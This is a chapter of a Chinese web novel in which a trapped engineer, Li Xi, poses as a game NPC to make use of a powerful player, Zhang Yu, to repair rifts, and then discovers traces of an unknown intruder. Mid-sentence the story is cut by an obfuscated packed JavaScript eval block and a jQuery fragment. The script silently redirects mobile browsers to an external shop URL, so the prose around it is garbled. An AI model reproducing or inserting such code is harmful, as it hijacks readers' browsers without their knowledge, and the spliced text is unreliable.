张驭走后,李析没有休息。
他盘腿坐在闭合的第一个裂隙点旁边,面朝着那道浅灰色的伤疤,面前悬浮着投影配置面板。灰白色的荒漠安静得像被世界遗忘了,只有头顶的倒计时在无声地跳动。他把面板上的参数一条一条地调出来核对——
物理交互参数:默认0.8,调到0。
布料材质反馈:开启状态,关闭。
温度模拟:活性,彻底归零。
碰撞体积:可触碰,改为穿透协议。
他甚至在投影核心层额外套了一层"数据偏斜层"——任何试图接触他投影的物理交互都会被轻微"滑开",像用手去捞水里的月亮,指尖碰到水面就散了。
"连最基础的投影配置都能漏……"他低声骂自己,指尖在面板上飞速划动,"李析你脑子是被格式化了吗。"
他的手已经不再发抖了。昨晚从张驭离开到他改完所有参数,大约过了两个小时,那段时间里他坐在荒漠的地面上,把自己从被推进来到现在所有的纰漏全都过了一遍。体温、布料触感、"谢谢"、手抖。一共四个破绽。前两个他已经用参数堵上了,"谢谢"他打算归因于"系统语音库采样了真人语音的残片",至于手抖——张驭看到了,但没有追问。
李析不确定那是好事还是坏事。
第二天,张驭如约出现了。
李析提前守在通道入口附近,看到那团黑色的数据流从通道上方沉降下来,像一滴浓墨坠入清水。张驭的双脚落地时,脚下的错误代码照例炸了一大片,红色的字符在地面上散开又消失。他今天换了一件深灰色的战斗服,刀没扛在肩上,而是横挂在腰后,刀柄朝右,出刀的角度和昨天不一样。
张驭落地之后先抬头扫了一圈荒漠,视线掠过灰白色的空旷平面,最后落在李析身上。他站的还是昨天那个位置。
"没跑。"张驭把刀从腰后解下来,随手拄在地上,像拄一根拐杖。"还行。"
李析用机械音回应:"我说过,我会在底层等你。"
张驭"嗯"了一声,没再说话。但李析注意到他嘴角有一个极其微小的弧度——和昨天、前天都不一样。那个弧度太轻了,轻到李析差点错过,它介于"确认了某件事"和"感到某种满足"之间。李析没有深究那个弧度的含义,只当作是张驭确认"工具还在"的日常反应。他转身朝第二个裂隙点的方向走去,步伐比昨天更快、更精确——昨晚他已经计算好了所有裂隙点的最短路径。
他走在了张驭前方大约三步的位置,比昨天远了半步。
沉默走了大约五分钟。荒漠在两人脚下延伸,灰白色的地面偶尔会因为张驭的踩踏而泛起几丝红色的错误光纹,像走在一条伤口还没有完全愈合的皮肤上。中间有一段时间,李析以为这段沉默会一直持续到目的地,但张驭开口了。
"你每天待在这里,"他的声音从后面传来,不紧不慢的,"无聊吗?"
李析没有回头。"底层区无需消遣。我是残余回响。"
"我是说——"张驭顿了顿,像在斟酌措辞,"你一个回响,有'无聊'这个概念吗?"
"……不。没有。"
"那你怎么打发时间?"
"我没有'打发'的需求。"
张驭又"嗯"了一声,然后不说话了。但李析能感觉到那双灰褐色的眼睛在自己的后背上落了一路,像一团不大不小的火,隔着三步的距离烤着他。
第二个裂隙点在一片隆起的数据丘陵之间。
那些丘陵不高,最高的也就到人的膝盖,表面覆盖着细密的灰色颗粒,踩上去像踩在干涸的河床上。这次的裂隙不在"墙"上,而是在地面上——横向展开的圆形撕裂口,嵌在丘陵中央的凹陷处,直径约两米。坑口深不见底,边缘不断地往外溢散灰白色的数据粉尘,像有什么东西在坑底缓慢地呼吸,把碎末吹到空中又落下。
李析蹲在坑边。他伸出一根半透明的手指,在空中划了几道分析轨迹,那些轨迹在空气中短暂停留,变成几行快速滚动的代码反馈。
"上一处是协议断裂,"他说,机械音里带着一种无法完全压住的、属于工程师的精确,"这一处是协议被篡改。形状不同,修复脚本也需调整。"
他在话出口的瞬间意识到了问题。"系统判定"和"我判断"是两套完全不同的用语体系。他用了后者。他在不知不觉中暴露了"这个NPC有主观判断能力"。
他立刻收住嘴,但余光里,张驭的眉毛已经动了一下。
张驭没有看坑。他在看李析。他看着李析蹲在那里划轨迹、调参数、把那句不该说的话收回去之后指尖在空中的停顿——然后他忽然开口,语气漫不经心,像在说一件无关紧要的事:
"你一个回响,怎么知道代码被改过?"
李析的后背瞬间绷紧。但他没有转头,继续盯着坑口,用机械音回复:"底层回响与代码残留通感。我能感知被修改的痕迹。"
张驭没有追问。他走到坑边蹲了下来。那个动作出乎李析的意料——张驭没有站在他身后,而是绕到旁边,蹲在了他左侧大约一臂的位置。两人并排蹲在坑边,像两个一起看井的人。张驭偏了偏头,视线从坑里移到了李析的侧脸上。模糊的侧脸。他看了大约两秒,然后移开了。
"行,"他说,"你说怎么修,我就怎么修。"
李析松了口气。他调出修复脚本的界面,悬浮在坑口上方,蓝色的面板倒映在黑漆漆的深坑里,像往井里投了一盏灯。"接入权限,"他说,"确认执行。"
张驭再次伸出手,指尖按上确认按钮。白色的数据流从他指尖涌向坑口,开始缓慢地填充那个圆形撕裂。修复的过程比昨天平稳——触手没有出现,坑口的边缘从外向内一层层收拢,像有人从外围往中心一点点缝补一块被撕破的布。
但与此同时,李析做了一件额外的事。
他利用张驭的权限流作为"桥梁",从底层边缘拉了一段加固数据,伪装成"修复脚本的伴随数据流",混在白色的权限流里一起注入底层。他在加固通道入口。昨晚他算过了,如果每次投影都要消耗底层的稳定性,三十天撑不到头。他必须想办法给底层"续命"。张驭的权限流是最完美的掩护——最高权限的数据色泽可以遮掩任何混在其中的"杂音"。
坑口缩到一半的时候,张驭偏了一下头。
"你刚才,"他说,"是不是往里面多加了一段东西?"
李析的指尖僵了半秒。
"检测到裂隙修复过程中伴随数据溢出,"他用机械音说,语速和平时一模一样,"已自动分流至底层其他区域进行无害化处置。"
张驭盯着他。那双灰褐色的眼睛在灰白荒漠的光线下像两块浅水区的石头,什么都映不出来,但什么都收进去了。"自动分流?"他说,尾音微微上挑,"你一个回响,还能'自动分流'?"
李析知道自己刚才说的那句"自动分流"本身就有问题。一个连"无聊"都没有概念的回响,不应该知道"自动分流"是什么意思。他脑子飞速转了一圈,追加解释:"底层回响在特定权限流经过时会触发预设防御协议。那是……系统残存的本能。非我主动控制。"
张驭又看了他两秒。那两秒的沉默里,李析听到自己的心跳在耳膜上撞击的声音。
然后张驭把视线移回了坑口。"嗯。继续。"
他没有相信。李析知道他没有相信。但张驭没有拆穿。
修复脚本继续运行了大约十分钟。坑口从外向内层层收缩,最终完全闭合,只在地面上留下一圈浅浅的灰色环形痕迹,像一个圆形伤疤嵌在丘陵之间。张驭的数据面板弹出提示:【任务进度:2/30。】
两人往回走。李析在前面,张驭跟在后面,距离仍然是三步。荒漠空旷,脚步声在灰白色的地面上几乎没有回响,只有靴底偶尔踩到错误代码时发出的细碎电声。走了大约五分钟,张驭忽然说:
"你知道我为什么要接这个任务吗?"
李析没有回头。"因为全服存档数据可能丢失。"
他听到身后传来一声短促的、近乎冷笑的气息。"我对全服存档没兴趣。我连自己的档都没怎么看过。"
李析的脚步微缓了半分,但他没有停。"那为什么?"
张驭沉默了一会儿。然后李析听到身后的脚步声停了。他只好也停下来,转身。
张驭站在原地,刀换了拄地的姿势,灰褐色的眼睛从几米之外看过来。他看起来不怎么严肃,甚至有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930580|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一点散漫——一只手插在战斗服的侧兜里,另一只手搭在刀柄上。但他停下来不说话这件事本身,就已经让李析警觉了。
"因为你——"张驭开了个头,又停住了。他像是在考虑要不要把这句话说完,或者说到什么程度。然后他说:
"因为你看起来一点都不像NPC。你看起来像个被困在笼子里、还想再骗一个人进笼子替他干活的人。"
机械音在这一刻出现了约0.3秒的延迟。
"……我不理解你的意思。"
"不用理解。"张驭迈步从李析身边经过,肩膀与斗篷擦过去的时候,他侧了侧头,声音从很近的地方传过来:"走吧。明天第三个。"
他走出去了。三步、四步、五步。李析站在原地,背对着张驭走远的方向,面朝着那条他们刚刚走过的荒漠来路。他站了大约五秒,然后转身跟了上去。
张驭穿过通道离开了。黑色的战斗服被过渡层的灰色吞没,暗红色的刀光在通道入口闪了一下,然后一切都安静了。
李析独自在荒漠里坐下来。他把今天所有的对话、张驭的每一个停顿、每一次视线停留,从头到尾过了一遍。
"你看起来像个被困在笼子里的人。"——张驭没有用"NPC"这个词。他用了"人"。这意味着在张驭的认知里,李析是玩家、是真人、是某个被关在这里的活物,不是数据造物。
"还想再骗一个人进笼子替他干活。"——他连李析为什么要骗人的动机都猜到了大半。他知道李析需要他帮忙,知道李析在说谎,但他没有走。
李析靠在一座数据丘陵的侧面,灰白色的颗粒硌着他的后背。他看着头顶的倒计时——28天14小时08分。距离被困到底层已经过去了一天半。他第一次从别人嘴里确认了"你看起来是个真人"这件事,而确认的人正是他想要蒙骗的目标。
他忽然意识到一件事:张驭在今天说那句话的时候,语气里没有愤怒。
没有被欺骗后的恼怒,没有"你耍我"的锐利,没有那种他以为会等来的、刀锋抵住喉咙的结局。张驭说出那句"你不像NPC"的时候,语气更像是在陈述一个他观察了一段时间、终于决定说出口的判断。像一个人收集够了证据之后,把拼图最后一块放了上去。
李析做了个决定。他不再做更多掩饰了。既然张驭已经摊了牌,他继续做"完美NPC"反而显得滑稽。他需要调整策略——从"装到底"变成"半藏半露"。用一部分真话来包裹核心秘密,不把张驭当傻子糊弄,但也不把所有真相一次性倾倒出去。他要让张驭觉得"这个人在慢慢坦白",才能让对方有继续留下来的理由。
他站起来,拍了拍斗篷上沾的灰色颗粒,朝通道入口走去。他打算再检查一遍通道加固的效果,确认今天偷渡的那段加固数据确实落了地。
然后他发现了那个异常。
他的扫描界面在检查加固效果时,捕捉到了一段不属于他、也不属于张驭的数据痕迹。那痕迹微弱得像荒漠里一根落在地上的头发,混在大量的空白代码之间,如果不是李析用工程师的精细度逐行扫描,根本不会注意到。
他把那段痕迹提取出来,放大。
格式不是《深渊纪元》的标准代码。他见过这种编码风格——在某份旧的项目文档里、在某个已经被离职的员工留下的遗产代码里,但他在脑子里翻了三遍都没能精确地定位出具体来源。那痕迹的"新鲜度"大约在24到48小时之间,也就是说:在李析被困到底层之后、张驭第一次下来之前,底层区还有第三个人——或者第三方的数据——经过这里。
有人在他之前就来过了。
或者,有人在他之后、在张驭之前来过。无论哪一种,都意味着——被暗算的只有他。有人在他进来之前就已经动过底层了。核心协议的删除可能发生得更早,他被推进来可能只是掩盖。
李析把那段代码碎片拷贝到自己的后台文件夹里,加密、隐藏、反复确认不可能被发现。然后他坐在荒漠中央,把脸埋在掌心,沉默了很久。
"……还有谁来过?"
灰白色的空间静得没有一丝回音。只有倒计时的数字还在跳。
28天13小时56分。
又少了。